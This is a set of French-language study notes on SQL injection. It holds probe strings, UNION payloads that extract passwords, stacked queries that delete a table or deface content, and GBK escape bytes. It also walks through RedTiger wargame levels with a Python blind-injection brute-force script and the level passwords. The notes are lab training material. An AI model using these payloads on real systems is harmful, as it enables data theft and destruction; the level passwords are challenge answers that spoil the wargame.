Injection SQL
Def et Fonctionement:
Le but est de contourner les mesures de sécurités utilisées afin de faire une énumération de la table ou éventuellement une RDE.
Aussi on peut utiliser SQLMap
Pour apprendre à faire les Injections SQL :
- https://owasp.org/www-project-juice-shop/
- https://github.com/WebGoat/WebGoat
- https://github.com/webpwnized/mutillidae
- https://redtiger.labs.overthewire.org/
Cheatsheet :
https://portswigger.net/web-security/sql-injection/cheat-sheet
Exploitation :
Principe :
On l'a vu le but est d'abord de déterminer si l'application est faillible, une fois que c'est fait il faut briser la logique par exemple avec un bypasse de passwd. La condition est toujours vraie donc c'est validé (-- sert pour commenter et rendre les instructions suivantes nulles).
Ressource :
https://www.youtube.com/watch?v=2OPVViV-GQk
https://www.hacksplaining.com/lessons/sql-injection
https://portswigger.net/web-security/sql-injection/union-attacks
1 .Identifier si il est possible de faire une injection :
On doit essayer d'obtenir un retour :
a" OR 1=1 --
a' OR 1=1 --
a` OR 1=1 --
Il faut tenter aussi des permutations de commentaires :
a' OR 1=1 /*
a' OR 1=1 --
a' OR 1=1 #
Si on veut obtenir plus d'informations il est aussi recommandé de faire crash le login/password :
2. Énumérer la table :
On doit d'abord trouver la dimension de la table :
a' OR 1 ORDER BY 2 --
a' OR 1 LIMIT 1,2 --
Une fois la dimension trouvée vérifie que l'on peut bien afficher ce que l'on veut :
' UNION ALL SELECT 1,2--
Ensuite on y met les données :
' UNION ALL SELECT password,2 FROM users WHERE username = 'admin' --
On peut faire des permutations avec userid
ou autre.
3. Injection en blind :
Dans certains cas on a bien une injection possible mais pas de retour direct, il faut donc faire une blind SQLi, le but étant d'obtenir des informations sans avoir de retour à l'écran. En provoquant des erreurs, en créant de la latence etc...
Il faut souvent un script et SQLmap s'en sort très bien.
4. Pour aller plus loin :
https://bases-hacking.org/sql-injection.html
https://bases-hacking.org/injections-sql-avancees.html
Requêtes doublées :
Les requêtes doublées permettent de faire des choses sympa, comme effacer la table ou autre :
SELECT nom,prenom from employes WHERE idservice=1; DELETE FROM employes WHERE 1=1**;
SELECT nom,prenom from employes WHERE idservice=1; ALTER news SET content="Hacked by skiddie";
GBK injection :
%bf%27
: This is a URL-encoded representation of the byte sequence0xbf27
. In the GBK character set,0xbf27
decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.%bf%5c
: Represents the byte sequence0xbf5c
. In GBK, this decodes to a valid multi-byte character followed by a backslash (\
). This can be used to escape the next character in the sequence.%a1%27
: Represents the byte sequence0xa127
. In GBK, this decodes to a valid multi-byte character followed by a single quote ('
).
Lab DVWA :
Lab Redtiger :
https://redtiger.labs.overthewire.org/
Level 1 : Simple injection
a'; SELECT * FROM level1_users
Il semble que le login passwd ne soient pas sensibles aux injections.
l'url contient :
https://redtiger.labs.overthewire.org/level1.php?cat=1 ORDER BY 5
si on remplace le 5 par un nombre>4 ou bien du text on obtient this category does not exist.
On peut donc faire une injection SQL ici mais pas dans le login form.
Si le 1 est directement remplacé on obtient :
pas de catégorie.
la requête en back en doit être :
SELECT <nombre>
FROM level1_users
WHERE <nombre> = 1
Les colonnes sont 1,2.3 et 4.
Il semble qu'afficher 1 est nécessaire et UNION SELECT 1,2,3,4 révèle que l'on peut afficher quelque chose sur certaines colonnes qui doivent correspondre à celles qui affichent un message.1,2,3,4
est un résultat statique.
1 UNION SELECT 1,2,4,3
Pour obtenir plus d'informations :
1 UNION SELECT 1,2,database(),current_user()
1 UNION SELECT 1,2 UNION SELECT * FROM information_schema.tables
1 UNION SELECT 1,2 UNION SELECT * FROM information_schema.columns
Donc la requête devrait fonctionner, nice.
1 UNION SELECT 1,2,username,password FROM level1_users
Cette requête fonctionne, je suppose que l'on doit mettre FROM level1_users car sinon la bonne table n'est pas display.
Level 2 : Login bypass
Indice : loginbypass, condition, target Login
Login' OR 1=1 #
En password et login et le challenge est réussi
Level 3 : Get an error
Indice : try to get an error. tablename:level3_users
Si on click sur un show user details, on récupère des données. Si l'on clique sur un user alors la requête ressemble à ça :
Pour générer une erreur on peut changer usr=
en usr[]
On a donc bien créé une erreur dans le code, et cela nous indique des informations sympathiques. On va chercher urlcrypt.inc :
https://redtiger.labs.overthewire.org/urlcrypt.inc
(tester toutes les possibilités avec l'url affichée est une bonne solution).
On a le code suivant :
<?php
// warning! ugly code ahead :)
// requires php5.x, sorry for that
function encrypt($str)
{
$cryptedstr = "";
srand(3284724);
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
function decrypt ($str)
{
srand(3284724);
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";
for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}
foreach($array as $s)
{
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>
Ce code nous permet de convertir du texte en chaine utilisable dans la table SQL. Il faut bien utiliser PHP5 (https://onlinephp.io/ avec la version 5.03 fonctionne correctement).
Il faut chiffrer les requêtes pour pouvoir les envoyer.
Admin' ORDER BY 120 #
devient :
MDQyMjExMDE0MTgyMTQwMTc0MjIzMTE5MjQwMDY5MTUyMTc0MDA5MTQxMDM4MDY5MjM4MDgzMTczMDc0MDQ2MjAz
On utilise 7 car au delà on a une erreur :
Admin ' ORDER BY 7 #
On sait que l'on a 7 colonnes et on veut déterminer lesquelles peuvent servir pour afficher des résultats sur le site.
' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users
Ça ne fonctionne pas car on renvoie désormais trop d'informations de la table, il faut formatter ça pour un utilisateur :
' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE username='Admin' #
En effet le select en backend doit vouloir aller chercher des champs d'utilisateur comme le nom le prénom etc...
On peut donc faire :
' UNION SELECT 1,username,3,4,5,password,7 FROM level3_users WHERE username='Admin' #TODO
Level 4 : Blind-Injection :
put_the_kitten_on_your_head
Objectif : obtenir la première valeur de l'entré dans la colonne keyword de la table
Def et fonctionnement :
Lors d'une attaque avec une blind SQL, on attaque en posant une suite de questions vraies/fausses qui permettent de déduire le fonctionnement de la base de données. Il nous faudra donc être attentif aux réactions du site web.
Exploitation :
On voit sur le site qu'en cliquant sur Click me on a id=1
on va donc insérer une requête dedans :
1 ORDER BY 2 #
Avec le nombre 3 on a une requête qui ne retourne aucune ligne donc on est bons on a 3 lignes.
1 UNION SELECT 1,2 FROM level4_secret
On a bien un retour de 2 lignes. On veut trouver quelle colonne porte le nom keyword donc :
1 UNION SELECT keyword,2 FROM level4_secret
On a un retour avec deux lignes, donc la seconde n'est pas Keyword et on a donc keyword qui est bien la première colonne.
On va donc déterminer maintenant quel est la première entrée :
1 UNION SELECT keyword,2 FROM level4_secret WHERE length(keyword)>200
L'entrée fait donc bien moins de 200 charactères.
1 UNION SELECT keyword,2 FROM level4_secret WHERE length(keyword)=21
On est bons.
On fait un brute force :
import requests
from string import printable
url = "https://redtiger.labs.overthewire.org/level4.php"
cookies = {'level4login' : 'put_the_kitten_on_your_head'}
result = ''
for x in range( 1 , 22 ):
for i in printable:
params = {'id' : '1 union select keyword, 1 from level4_secret where ascii(substring(keyword,%i,1))= %i'% (x, ord(i))}
response = requests.get(url, params = params, cookies = cookies)
if "2 rows" in response.text:
result += i
break
print (result)
On a donc le bon résultat avec ce script.
Level 5 : Advanced-login Bypass :
killstickswithbr1cks!
' OR 1=1
On obtient une erreur, ce qui ne doit pas être la bonne piste. Le paramètre 1 doit être une ressource :
a' UNION SELECT 1,2 #
On obtient simplement login fail. En quelque sorte le backend doit vouloir que le resultat ne soit pas null :
SELECT * FROM users WHERE username = '[USER_INPUT]'
ce qui est transformé en :
SELECT * FROM users WHERE username = '' UNION SELECT 1,2 #[USER_INPUT]'
ce qui n'est pas NULL. On a donc bien un bypass, mais pas de bypass du passwd.
Le passwd est de forme md5.
Donc :
a' UNION SELECT MD5(a),2 #